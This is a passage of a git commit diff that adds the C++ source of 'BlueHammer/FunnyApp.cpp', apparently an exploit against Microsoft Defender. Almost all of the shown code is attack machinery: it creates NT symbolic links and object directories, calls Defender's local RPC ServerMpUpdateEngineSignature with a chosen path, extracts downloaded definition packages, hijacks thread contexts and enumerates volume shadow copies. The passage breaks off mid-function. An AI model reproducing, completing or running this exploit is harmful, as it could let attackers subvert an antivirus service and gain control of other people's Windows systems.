commit 136c00b4908df0c09b9ed4903f2bea2e335c6a5d Author: nctu6 Date: Mon May 25 15:47:26 2026 +0800 https://gitlab.com/nightmare-eclipse diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..80ef951 --- /dev/null +++ b/.gitattributes @@ -0,0 +1,10 @@ +MiniPlasma/packages/NtApiDotNet.1.1.33/lib/netstandard2.0/NtApiDotNet.xml filter=lfs diff=lfs merge=lfs -text +MiniPlasma/packages/NtApiDotNet.1.1.33/lib/net461/NtApiDotNet.dll filter=lfs diff=lfs merge=lfs -text +YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxLogContainer00000000000000000002 filter=lfs diff=lfs merge=lfs -text +MiniPlasma/packages/NtApiDotNet.1.1.33/lib/netstandard2.0/NtApiDotNet.dll filter=lfs diff=lfs merge=lfs -text +MiniPlasma/packages/NtApiDotNet.1.1.33/lib/net461/NtApiDotNet.xml filter=lfs diff=lfs merge=lfs -text +YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxLogContainer00000000000000000001 filter=lfs diff=lfs merge=lfs -text +BlueHammer/windefend_s.c filter=lfs diff=lfs merge=lfs -text +BlueHammer/windefend_c.c filter=lfs diff=lfs merge=lfs -text +MiniPlasma/packages/TaskScheduler.2.12.2/TaskScheduler.2.12.2.nupkg filter=lfs diff=lfs merge=lfs -text +MiniPlasma/packages/NtApiDotNet.1.1.33/NtApiDotNet.1.1.33.nupkg filter=lfs diff=lfs merge=lfs -text diff --git a/BlueHammer/FunnyApp.aps b/BlueHammer/FunnyApp.aps new file mode 100644 index 0000000..1cf139a Binary files /dev/null and b/BlueHammer/FunnyApp.aps differ diff --git a/BlueHammer/FunnyApp.cpp b/BlueHammer/FunnyApp.cpp new file mode 100644 index 0000000..2855cc9 --- /dev/null +++ b/BlueHammer/FunnyApp.cpp @@ -0,0 +1,3313 @@ + +#define _CRT_SECURE_NO_WARNINGS + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "windefend_h.h" + +/* +#include +#include +#include +#include +#include +#include +#include +*/ +#include "offreg.h" +#define _NTDEF_ +#include +#include + +#pragma comment(lib, "wininet.lib") +#pragma comment(lib, "ktmw32.lib") +#pragma comment(lib, "Shlwapi.lib") +#pragma comment(lib, "Rpcrt4.lib") +#pragma comment(lib, "ntdll.lib") +#pragma comment(lib, "Cabinet.lib") +#pragma comment(lib, "Wuguid.lib") +#pragma comment(lib,"CldApi.lib") + + +/// NT routines and definitions +HMODULE hm = GetModuleHandle(L"ntdll.dll"); +NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)( + OUT PHANDLE pHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PUNICODE_STRING DestinationName) = (NTSTATUS(WINAPI*)( + OUT PHANDLE pHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PUNICODE_STRING DestinationName))GetProcAddress(hm, "NtCreateSymbolicLinkObject"); +NTSTATUS(WINAPI* _NtOpenDirectoryObject)( + PHANDLE DirectoryHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes + ) = (NTSTATUS(WINAPI*)( + PHANDLE DirectoryHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes + ))GetProcAddress(hm, "NtOpenDirectoryObject");; +NTSTATUS(WINAPI* _NtQueryDirectoryObject)( + HANDLE DirectoryHandle, + PVOID Buffer, + ULONG Length, + BOOLEAN ReturnSingleEntry, + BOOLEAN RestartScan, + PULONG Context, + PULONG ReturnLength + ) = (NTSTATUS(WINAPI*)( + HANDLE DirectoryHandle, + PVOID Buffer, + ULONG Length, + BOOLEAN ReturnSingleEntry, + BOOLEAN RestartScan, + PULONG Context, + PULONG ReturnLength + ))GetProcAddress(hm, "NtQueryDirectoryObject"); +NTSTATUS(WINAPI* _NtSetInformationFile)( + HANDLE FileHandle, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass + ) = (NTSTATUS(WINAPI*)( + HANDLE FileHandle, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass + ))GetProcAddress(hm, "NtSetInformationFile"); + +NTSTATUS(WINAPI* _NtCreateDirectoryObjectEx)( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ShadowDirectoryHandle, + IN ULONG Flags) = + (NTSTATUS(WINAPI*)( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ShadowDirectoryHandle, + IN ULONG Flags))GetProcAddress(hm,"NtCreateDirectoryObjectEx"); + +#define RtlOffsetToPointer(Base, Offset) ((PUCHAR)(((PUCHAR)(Base)) + ((ULONG_PTR)(Offset)))) + + +typedef struct _FILE_DISPOSITION_INFORMATION_EX { + ULONG Flags; +} FILE_DISPOSITION_INFORMATION_EX, * PFILE_DISPOSITION_INFORMATION_EX; +typedef struct _OBJECT_DIRECTORY_INFORMATION { + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION; + +typedef struct _REPARSE_DATA_BUFFER { + ULONG ReparseTag; + USHORT ReparseDataLength; + USHORT Reserved; + union { + struct { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + ULONG Flags; + WCHAR PathBuffer[1]; + } SymbolicLinkReparseBuffer; + struct { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + WCHAR PathBuffer[1]; + } MountPointReparseBuffer; + struct { + UCHAR DataBuffer[1]; + } GenericReparseBuffer; + } DUMMYUNIONNAME; +} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER; + +#define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer) + +//////////////// NT DEF END + + +// definitions of structures used by threads that invoke WD RPC calls +struct WDRPCWorkerThreadArgs +{ + HANDLE hntfythread; + HANDLE hevent; + RPC_STATUS res; + wchar_t* dirpath; +}; + +typedef struct tagMPCOMPONENT_VERSION { + ULONGLONG Version; + ULARGE_INTEGER UpdateTime; +} MPCOMPONENT_VERSION, * PMPCOMPONENT_VERSION; + +typedef struct tagMPVERSION_INFO { + MPCOMPONENT_VERSION Product; + MPCOMPONENT_VERSION Service; + MPCOMPONENT_VERSION FileSystemFilter; + MPCOMPONENT_VERSION Engine; + MPCOMPONENT_VERSION ASSignature; + MPCOMPONENT_VERSION AVSignature; + MPCOMPONENT_VERSION NISEngine; + MPCOMPONENT_VERSION NISSignature; + MPCOMPONENT_VERSION Reserved[4]; +} MPVERSION_INFO, * PMPVERSION_INFO; + +typedef union Version { + struct { + WORD major; + WORD minor; + WORD build; + WORD revision; + }; + ULONGLONG QuadPart; +}; +////////////////// + + +// structures and global vars used by definition update functions +void* cabbuff2 = NULL; +DWORD cabbuffsz = 0; +struct CabOpArguments { + ULONG index; + char* filename; + size_t ptroffset; + char* buff; + DWORD FileSize; + CabOpArguments* first; + CabOpArguments* next; +}; + +struct UpdateFiles { + char filename[MAX_PATH]; + void* filebuff; + DWORD filesz; + bool filecreated; + HANDLE hsymlink; + UpdateFiles* next; +}; +/////////////////////////////////////// + + +// structures and global vars used by volume shadow copy functions +struct cldcallbackctx { + + HANDLE hnotifywdaccess; + HANDLE hnotifylockcreated; + wchar_t filename[MAX_PATH]; +}; + +struct LLShadowVolumeNames +{ + wchar_t* name; + LLShadowVolumeNames* next; +}; + +struct cloudworkerthreadargs { + HANDLE hlock; + HANDLE hcleanupevent; + HANDLE hvssready; +}; +/////////////////////////////////////// + + + +////////////////////////////////////////////////////////////////////// +// Functions required by RPC +///////////////////////////////////////////////////////////////////// + +void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes) +{ + return((void __RPC_FAR*) malloc(cBytes)); +} + +void __RPC_USER midl_user_free(void __RPC_FAR* p) +{ + free(p); +} +////////////////////////////////////////////////////////////////////// +// Functions required by RPC end +///////////////////////////////////////////////////////////////////// + + + + +////////////////////////////////////////////////////////////////////// +// WD RPC functions +///////////////////////////////////////////////////////////////////// +void ThrowFunc() +{ + throw 0; +} + +void RaiseExceptionInThread(HANDLE hthread) +{ + CONTEXT ctx = { 0 }; + ctx.ContextFlags = CONTEXT_FULL; + SuspendThread(hthread); + + if (GetThreadContext(hthread, &ctx)) + { + ctx.Rip = (DWORD64)ThrowFunc; + SetThreadContext(hthread, &ctx); + ResumeThread(hthread); + } +} + +void CallWD(WDRPCWorkerThreadArgs* args) +{ + RPC_WSTR MS_WD_UUID = (RPC_WSTR)L"c503f532-443a-4c69-8300-ccd1fbdb3839"; + RPC_WSTR StringBinding; + if (RpcStringBindingComposeW(MS_WD_UUID, (RPC_WSTR)L"ncalrpc", NULL, (RPC_WSTR)L"IMpService77BDAF73-B396-481F-9042-AD358843EC24", NULL, &StringBinding) != RPC_S_OK) + { + printf("Unexpected error while building an RPC binding from string !!!"); + RaiseExceptionInThread(args->hntfythread); + return; + } + RPC_BINDING_HANDLE bindhandle = 0; + if (RpcBindingFromStringBindingW(StringBinding, &bindhandle) != RPC_S_OK) + { + printf("Failed to connect to windows defender RPC port !!!"); + RaiseExceptionInThread(args->hntfythread); + return; + } + error_status_t errstat = 0; + printf("Calling ServerMpUpdateEngineSignature...\n"); + //_getch(); + RPC_STATUS stat = Proc42_ServerMpUpdateEngineSignature(bindhandle, NULL, args->dirpath, &errstat); + args->res = stat; + if (args->hevent) + SetEvent(args->hevent); + +} + +DWORD WINAPI WDCallerThread(void* args) +{ + if (!args) + return ERROR_BAD_ARGUMENTS; + CallWD((WDRPCWorkerThreadArgs*)args); + return ERROR_SUCCESS; + +} +////////////////////////////////////////////////////////////////////// +// WD RPC functions end +///////////////////////////////////////////////////////////////////// + + + + +////////////////////////////////////////////////////////////////////// +// WD definition update functions +///////////////////////////////////////////////////////////////////// + +CabOpArguments* CUST_FNOPEN(const char* filename, int oflag, int pmode) +{ + + CabOpArguments* cbps = (CabOpArguments*)malloc(sizeof(CabOpArguments)); + ZeroMemory(cbps, sizeof(CabOpArguments)); + cbps->buff = (char*)cabbuff2; + cbps->FileSize = cabbuffsz; + return cbps; +} + +INT CUST_FNSEEK(HANDLE hf, + long offset, + int origin) +{ + + if (hf) + { + CabOpArguments* CabOpArgs = (CabOpArguments*)hf; + if (origin == SEEK_SET) + CabOpArgs->ptroffset = offset; + if (origin == SEEK_CUR) + CabOpArgs->ptroffset += offset; + if (origin == SEEK_END) + CabOpArgs->ptroffset += CabOpArgs->FileSize; + + return CabOpArgs->ptroffset; + + } + + return -1; +} + + +UINT CUST_FNREAD(CabOpArguments* hf, + void* const buffer, + unsigned const buffer_size) +{ + + if (hf) + { + CabOpArguments* CabOpArgs = (CabOpArguments*)hf; + if (CabOpArgs->buff) + { + + memmove(buffer, &CabOpArgs->buff[CabOpArgs->ptroffset], buffer_size); + CabOpArgs->ptroffset += buffer_size; + //CabOpArgs->ReadBytes += buffer_size; + return buffer_size; + } + } + + return NULL; +} + +UINT CUST_FNWRITE(CabOpArguments* hf, + const void* buffer, + unsigned int count) +{ + + if (hf) + { + if (hf->buff) { + memmove(&hf->buff[hf->ptroffset], buffer, count); + hf->ptroffset += count; + return count; + } + } + + + return NULL; +} + +INT CUST_FNCLOSE(CabOpArguments* fnFileClose) +{ + + free(fnFileClose); + return 0; +} + +VOID* CUST_FNALLOC(size_t cb) +{ + return malloc(cb); +} + +VOID CUST_FNFREE(void* buff) +{ + free(buff); +} + +INT_PTR CUST_FNFDINOTIFY( + FDINOTIFICATIONTYPE fdinotify, PFDINOTIFICATION pfdin +) { + + //printf("_FNFDINOTIFY : %d\n", fdinotify); + wchar_t newfile[MAX_PATH] = { 0 }; + wchar_t filename[MAX_PATH] = { 0 }; + HANDLE hfile = NULL; + ULONG rethandle = 0; + CabOpArguments** ptr = NULL; + CabOpArguments* lcab = NULL; + switch (fdinotify) + { + case fdintCOPY_FILE: + if (_stricmp(pfdin->psz1, "MpSigStub.exe") == 0) + return NULL; + + ptr = (CabOpArguments**)pfdin->pv; + lcab = *ptr; + if (lcab == NULL) { + lcab = (CabOpArguments*)malloc(sizeof(CabOpArguments)); + ZeroMemory(lcab, sizeof(CabOpArguments)); + lcab->first = lcab; + lcab->filename = (char*)malloc(strlen(pfdin->psz1) + sizeof(char)); + ZeroMemory(lcab->filename, strlen(pfdin->psz1) + sizeof(char)); + memmove(lcab->filename, pfdin->psz1, strlen(pfdin->psz1)); + lcab->FileSize = pfdin->cb; + lcab->buff = (char*)malloc(lcab->FileSize); + ZeroMemory(lcab->buff, lcab->FileSize); + } + else + { + lcab->next = (CabOpArguments*)malloc(sizeof(CabOpArguments)); + ZeroMemory(lcab->next, sizeof(CabOpArguments)); + lcab->next->first = lcab->first; + lcab = lcab->next; + + lcab->filename = (char*)malloc(strlen(pfdin->psz1) + sizeof(char)); + ZeroMemory(lcab->filename, strlen(pfdin->psz1) + sizeof(char)); + memmove(lcab->filename, pfdin->psz1, strlen(pfdin->psz1)); + lcab->FileSize = pfdin->cb; + lcab->buff = (char*)malloc(lcab->FileSize); + ZeroMemory(lcab->buff, lcab->FileSize); + } + + lcab->first->index++; + *ptr = lcab; + + + + return (INT_PTR)lcab; + break; + case fdintCLOSE_FILE_INFO: + return TRUE; + break; + default: + return 0; + } + return 0; +} + +void* GetCabFileFromBuff(PIMAGE_DOS_HEADER pvRawData, ULONG cbRawData, ULONG* cabsz) +{ + if (cbRawData < sizeof(IMAGE_DOS_HEADER)) + { + return 0; + } + + if (pvRawData->e_magic != IMAGE_DOS_SIGNATURE) + { + return 0; + } + + ULONG e_lfanew = pvRawData->e_lfanew, s = e_lfanew + sizeof(IMAGE_NT_HEADERS); + + if (e_lfanew >= s || s > cbRawData) + { + return 0; + } + + PIMAGE_NT_HEADERS pinth = (PIMAGE_NT_HEADERS)RtlOffsetToPointer(pvRawData, e_lfanew); + + + + if (pinth->Signature != IMAGE_NT_SIGNATURE) + { + return 0; + } + + ULONG SizeOfImage = pinth->OptionalHeader.SizeOfImage, SizeOfHeaders = pinth->OptionalHeader.SizeOfHeaders; + + s = e_lfanew + SizeOfHeaders; + + if (SizeOfHeaders > SizeOfImage || SizeOfHeaders >= s || s > cbRawData) + { + return 0; + } + + s = FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) + pinth->FileHeader.SizeOfOptionalHeader; + + if (s > SizeOfHeaders) + { + return 0; + } + + ULONG NumberOfSections = pinth->FileHeader.NumberOfSections; + + PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)RtlOffsetToPointer(pinth, s); + + ULONG Size; + + if (NumberOfSections) + { + if (e_lfanew + s + NumberOfSections * sizeof(IMAGE_SECTION_HEADER) > SizeOfHeaders) + { + return 0; + } + + do + { + if (Size = min(pish->Misc.VirtualSize, pish->SizeOfRawData)) + { + union { + ULONG VirtualAddress, PointerToRawData; + }; + + VirtualAddress = pish->VirtualAddress, s = VirtualAddress + Size; + + if (VirtualAddress > s || s > SizeOfImage) + { + return 0; + } + + PointerToRawData = pish->PointerToRawData, s = PointerToRawData + Size; + + if (PointerToRawData > s || s > cbRawData) + { + return 0; + } + + char rsrc[] = ".rsrc"; + if (memcmp(pish->Name, rsrc, sizeof(rsrc)) == 0) + { + typedef struct _IMAGE_RESOURCE_DIRECTORY2 { + DWORD Characteristics; + DWORD TimeDateStamp; + WORD MajorVersion; + WORD MinorVersion; + WORD NumberOfNamedEntries; + WORD NumberOfIdEntries; + IMAGE_RESOURCE_DIRECTORY_ENTRY DirectoryEntries[]; + } IMAGE_RESOURCE_DIRECTORY2, * PIMAGE_RESOURCE_DIRECTORY2; + + PIMAGE_RESOURCE_DIRECTORY2 pird = (PIMAGE_RESOURCE_DIRECTORY2)RtlOffsetToPointer(pvRawData, pish->PointerToRawData); + + PIMAGE_RESOURCE_DIRECTORY2 prsrc = pird; + PIMAGE_RESOURCE_DIRECTORY_ENTRY pirde = { 0 }; + PIMAGE_RESOURCE_DATA_ENTRY pdata = 0; + + while (pird->NumberOfNamedEntries + pird->NumberOfIdEntries) + { + + + + + pirde = &pird->DirectoryEntries[0]; + if (!pirde->DataIsDirectory) + { + pdata = (PIMAGE_RESOURCE_DATA_ENTRY)RtlOffsetToPointer(prsrc, pirde->OffsetToData); + pdata->OffsetToData -= pish->VirtualAddress - pish->PointerToRawData; + void* cabfile = RtlOffsetToPointer(pvRawData, pdata->OffsetToData); + if (cabsz) + *cabsz = pdata->Size; + return cabfile; + } + pird = (PIMAGE_RESOURCE_DIRECTORY2)RtlOffsetToPointer(prsrc, pirde->OffsetToDirectory); + } + break; + + + + + } + + + + } + + } while (pish++, --NumberOfSections); + } + return NULL; + +} + + +UpdateFiles* GetUpdateFiles(int* filecount = NULL) +{ + + + + HINTERNET hint = NULL; + HINTERNET hint2 = NULL; + char data[0x1000] = { 0 }; + DWORD index = 0; + DWORD sz = sizeof(data); + bool res2 = 0; + wchar_t filesz[50] = { 0 }; + LARGE_INTEGER li = { 0 }; + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + wchar_t* wuid2 = 0; + wchar_t envstr[MAX_PATH] = { 0 }; + wchar_t mpampath[MAX_PATH] = { 0 }; + HANDLE hmpap = NULL; + void* exebuff = NULL; + DWORD readsz = 0; + HANDLE hmapping = NULL; + void* mappedbuff = NULL; + HRSRC hres = NULL; + DWORD ressz = NULL; + HGLOBAL cabbuff = NULL; + char fname[] = "update.cab"; + ERF erfstruct = { 0 }; + HFDI hcabctx = NULL; + bool extractres = false; + DWORD totalsz = 0; + HANDLE hmpeng = NULL; + CabOpArguments* CabOpArgs = NULL; + CabOpArguments* mpenginedata = NULL; + void* dllview = NULL; + char** filesmtrx = 0; + UpdateFiles* firstupdt = NULL; + UpdateFiles* current = NULL; + + DWORD nbytes = 0; + + + printf("Downloading updates...\n"); + hint = InternetOpen(L"Chrome/141.0.0.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL); + if (!hint) + { + printf("Failed to open internet, error : %d", GetLastError()); + goto cleanup; + } + + hint2 = InternetOpenUrl(hint, L"https://go.microsoft.com/fwlink/?LinkID=121721&arch=x64", NULL, NULL, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD, NULL); + //InternetCloseHandle(hint); + if (!hint2) + { + printf("Failed to open internet URL, error : %d", GetLastError()); + goto cleanup; + } + + res2 = HttpQueryInfo(hint2, HTTP_QUERY_CONTENT_LENGTH, data, &sz, &index); + if (!res2) + { + printf("Failed to query update size, error : %d", GetLastError()); + goto cleanup; + } + + + wcscpy(filesz, (LPWSTR)data); + sz = _wtoi(filesz); + li.QuadPart = sz; + + + exebuff = malloc(sz); + if (!exebuff) + { + printf("Failed to allocate memory to download file !!!"); + goto cleanup; + } + ZeroMemory(exebuff, sz); + + if (!InternetReadFile(hint2, exebuff, sz, &readsz) || readsz != sz) + { + + printf("Failed to download update from internet, error : %d", GetLastError()); + goto cleanup; + } + InternetCloseHandle(hint); + hint = NULL; + InternetCloseHandle(hint2); + hint = NULL; + printf("Done.\n"); + mappedbuff = GetCabFileFromBuff((PIMAGE_DOS_HEADER)exebuff, sz, &ressz); + + + + if (!mappedbuff) + { + printf("Failed to retrieve cabinet file from downloaded file.\n"); + goto cleanup; + } + printf("Cabinet file mapped at 0x%p\n", mappedbuff); + + + + + cabbuff2 = mappedbuff; + cabbuffsz = ressz; + + printf("Extracting cab file content...\n"); + hcabctx = FDICreate((PFNALLOC)CUST_FNALLOC, CUST_FNFREE, (PFNOPEN)CUST_FNOPEN, (PFNREAD)CUST_FNREAD, (PFNWRITE)CUST_FNWRITE, (PFNCLOSE)CUST_FNCLOSE, (PFNSEEK)CUST_FNSEEK, cpuUNKNOWN, &erfstruct); + if (!hcabctx) + { + printf("Failed to create cab context, error : 0x%x", erfstruct.erfOper); + goto cleanup; + } + + + + extractres = FDICopy(hcabctx, (char*)"\\update.cab", (char*)"C:\\temp", NULL, (PFNFDINOTIFY)CUST_FNFDINOTIFY, NULL, &CabOpArgs); + if (!extractres) + { + printf("Failed to extract cab file, error : 0x%x", erfstruct.erfOper); + goto cleanup; + } + FDIDestroy(hcabctx); + hcabctx = NULL; + + if (!CabOpArgs) + { + printf("Unexpected empty buffer after extracting cab file.\n"); + return NULL; + } + + CabOpArgs = CabOpArgs->first; + + firstupdt = (UpdateFiles*)malloc(sizeof(UpdateFiles)); + ZeroMemory(firstupdt, sizeof(UpdateFiles)); + current = firstupdt; + while (CabOpArgs) + { + if (filecount) + *filecount += 1; + strcpy(current->filename, CabOpArgs->filename); + DWORD buffsz = CabOpArgs->FileSize; + current->filebuff = malloc(buffsz); + memmove(current->filebuff, CabOpArgs->buff, buffsz); + current->filesz = buffsz; + CabOpArgs = CabOpArgs->next; + if (CabOpArgs) + { + current->next = (UpdateFiles*)malloc(sizeof(UpdateFiles)); + ZeroMemory(current->next, sizeof(UpdateFiles)); + current = current->next; + } + + } + printf("Cab file content extracted.\n"); + + +cleanup: + + if (CabOpArgs) + { + CabOpArguments* current = CabOpArgs->first; + while (current) + { + free(current->buff); + free(current->filename); + CabOpArgs = current; + current = current->next; + free(CabOpArgs); + } + } + if (hint) + InternetCloseHandle(hint); + + if (hint2) + InternetCloseHandle(hint2); + if (exebuff) + free(exebuff); + + return firstupdt; + + +} + +bool CheckForWDUpdates(wchar_t* updatetitle, bool* criterr) +{ + + + + IUpdateSearcher* updsrch = 0; + bool updatesfound = false; + IUpdateSession* updsess = 0; + CLSID clsid; + HRESULT hr = CLSIDFromProgID(OLESTR("Microsoft.Update.Session"), &clsid); + ISearchResult* srchres = 0; + IUpdateCollection* updcollection = 0; + LONG updnum = 0; + BSTR title = 0; + BSTR desc = 0; + ICategoryCollection* catcoll = 0; + ICategory* cat = 0; + BSTR catname = 0; + IUpdate* upd = 0; + bool comini = CoInitialize(NULL) == 0; + if (!comini) { + printf("Failed to initialize COM\n"); + *criterr = true; + return false; + } + + + + + hr = CoCreateInstance(clsid, NULL, CLSCTX_INPROC_SERVER, IID_IUpdateSession, (LPVOID*)&updsess); + + if (!updsess) + { + printf("CoCreateInstance returned a NULL pointer.\n"); + *criterr = true; + goto cleanup; + } + //printf("CoCreateInstance : 0x%p\n", updsess); + + + hr = updsess->CreateUpdateSearcher(&updsrch); + if (hr) + { + printf("IUpdateSearcher->CreateUpdateSearcher failed with error : 0x%0.X", hr); + *criterr = true; + goto cleanup; + } + + if (!updsrch) + { + printf("IUpdateSearcher->CreateUpdateSearcher returned a NULL pointer.\n"); + *criterr = true; + goto cleanup; + } + //printf("IUpdateSearcher->CreateUpdateSearcher : 0x%p\n", updsrch); + //printf("Checking for updates, please wait...\n"); + hr = updsrch->Search(SysAllocString(L""), &srchres); + if (hr) + { + printf("ISearchResult->Search failed with error : 0x%0.X", hr); + *criterr = true; + goto cleanup; + } + //printf("ISearchResult->Search : 0x%p\n", srchres); + + hr = srchres->get_Updates(&updcollection); + if (hr) + { + printf("IUpdateCollection->get_Updates failed with error : 0x%0.X", hr); + *criterr = true; + goto cleanup; + } + + if (!updcollection) + { + printf("IUpdateCollection->get_Updates returned a NULL pointer.\n"); + *criterr = true; + goto cleanup; + } + //printf("IUpdateCollection->get_Updates : 0x%p\n", updcollection); + + + hr = updcollection->get_Count(&updnum); + if (hr) + { + printf("IUpdateCollection->get_Count failed with error : 0x%0.X", hr); + *criterr = true; + goto cleanup; + } + //printf("Updates count : %d\n", updnum); + + for (LONG i = 0; i < updnum; i++) + { + if (upd) + { + upd->Release(); + upd = 0; + } + title = 0; + desc = 0; + catname = 0; + //printf("_________________________________________\n"); + bool IsWdUdpate = false; + bool IsSigUpdate = false; + hr = updcollection->get_Item(i, &upd); + if (hr) + { + printf("IUpdateCollection->get_Item failed with error : 0x%0.X", hr); + *criterr = true; + goto cleanup; + } + if (!upd) + { + printf("IUpdateCollection->get_Item returned a NULL pointer.\n"); + *criterr = true; + goto cleanup; + } + //printf("Update number : %d\n", i + 1); + + hr = upd->get_Title(&title); + if (hr) + { + printf("IUpdateCollection->get_Title failed with error : 0x%0.X", hr); + continue; + } + if (!title) + { + printf("IUpdateCollection->get_Item returned a NULL pointer.\n"); + continue; + } + title[SysStringLen(title)] = NULL; + //printf("Title : %ws\n", title); + + /* + desc = 0; + upd->get_Description(&desc); + if (!desc) + { + printf("IUpdateCollection->get_Item returned a NULL pointer.\n"); + continue; + } + desc[SysStringLen(desc)] = NULL; + printf("Description : %ws\n", desc); + */ + catcoll = 0; + hr = upd->get_Categories(&catcoll); + if (!catcoll) + { + printf("IUpdateCollection->get_Categories returned a NULL pointer.\n"); + continue; + } + LONG catcount = 0; + hr = catcoll->get_Count(&catcount); + for (LONG j = 0; j < catcount; j++) + { + cat = 0; + hr = catcoll->get_Item(j, &cat); + if (!cat) + { + printf("ICategoryCollection->get_Item returned NULL pointer.\n"); + continue; + } + catname = 0; + cat->get_Name(&catname); + catname[SysStringLen(catname)] = NULL; + //printf("Category name : %ws\n", catname); + if (catname) + { + if (!IsWdUdpate) + IsWdUdpate = _wcsicmp(catname, L"Microsoft Defender Antivirus") == 0; + if (!IsSigUpdate) + IsSigUpdate = _wcsicmp(catname, L"Definition Updates") == 0; + + } + + } + updatesfound = IsWdUdpate && IsSigUpdate; + if (updatesfound) + break; + } + + if (updatesfound && updatetitle) { + memmove(updatetitle, title, lstrlenW(title) * sizeof(wchar_t)); + } + +cleanup: + if (updcollection) + updcollection->Release(); + if (srchres) + srchres->Release(); + if (updsrch) + updsrch->Release(); + if (updsess) + updsess->Release(); + if (upd) + upd->Release(); + CoUninitialize(); + + + return updatesfound; +} + +////////////////////////////////////////////////////////////////////// +// WD definition update functions end +///////////////////////////////////////////////////////////////////// + + +////////////////////////////////////////////////////////////////////// +// Volume shadow copy functions +///////////////////////////////////////////////////////////////////// + +void rev(char* s) { + + // Initialize l and r pointers + int l = 0; + int r = strlen(s) - 1; + char t; + + // Swap characters till l and r meet + while (l < r) { + + // Swap characters + t = s[l]; + s[l] = s[r]; + s[r] = t; + + // Move pointers towards each other + l++; + r--; + } +} + +void DestroyVSSNamesList(LLShadowVolumeNames* First) +{ + while (First) + { + free(First->name); + LLShadowVolumeNames* next = First->next; + free(First); + First = next; + } +} + +LLShadowVolumeNames* RetrieveCurrentVSSList(HANDLE hobjdir, bool* criticalerr, int* vscnumber, DWORD* errorcode) +{ + + + if (!criticalerr || !vscnumber || !errorcode) + return NULL; + + *vscnumber = 0; + ULONG scanctx = 0; + ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2); + ULONG retsz = 0; + OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); + if (!objdirinfo) + { + printf("Failed to allocate required buffer to query object manager directory.\n"); + *criticalerr = true; + *errorcode = ERROR_NOT_ENOUGH_MEMORY; + return NULL; + } + ZeroMemory(objdirinfo, reqsz); + NTSTATUS stat = STATUS_SUCCESS; + do + { + stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, FALSE, &scanctx, &retsz); + if (stat == STATUS_SUCCESS) + break; + else if (stat != STATUS_MORE_ENTRIES) + { + printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat); + *criticalerr = true; + *errorcode = RtlNtStatusToDosError(stat); + return NULL; + } + + free(objdirinfo); + reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100; + objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); + if (!objdirinfo) + { + printf("Failed to allocate required buffer to query object manager directory.\n"); + *criticalerr = true; + *errorcode = ERROR_NOT_ENOUGH_MEMORY; + return NULL; + } + ZeroMemory(objdirinfo, reqsz); + } while (1); + void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION)); + ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)); + LLShadowVolumeNames* LLVSScurrent = NULL; + LLShadowVolumeNames* LLVSSfirst = NULL; + for (ULONG i = 0; i < ULONG_MAX; i++) + { + if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0) + { + free(emptybuff); + break; + } + if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0) + { + wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" }; + if (objdirinfo[i].Name.Length >= sizeof(cmpstr)) + { + if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0) + { + (*vscnumber)++; + if (LLVSScurrent) + { + LLVSScurrent->next = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames)); + if (!LLVSScurrent->next) + { + printf("Failed to allocate memory.\n"); + *criticalerr = true; + *errorcode = ERROR_NOT_ENOUGH_MEMORY; + DestroyVSSNamesList(LLVSSfirst); + free(objdirinfo); + return NULL; + } + ZeroMemory(LLVSScurrent->next, sizeof(LLShadowVolumeNames)); + LLVSScurrent = LLVSScurrent->next; + LLVSScurrent->name = 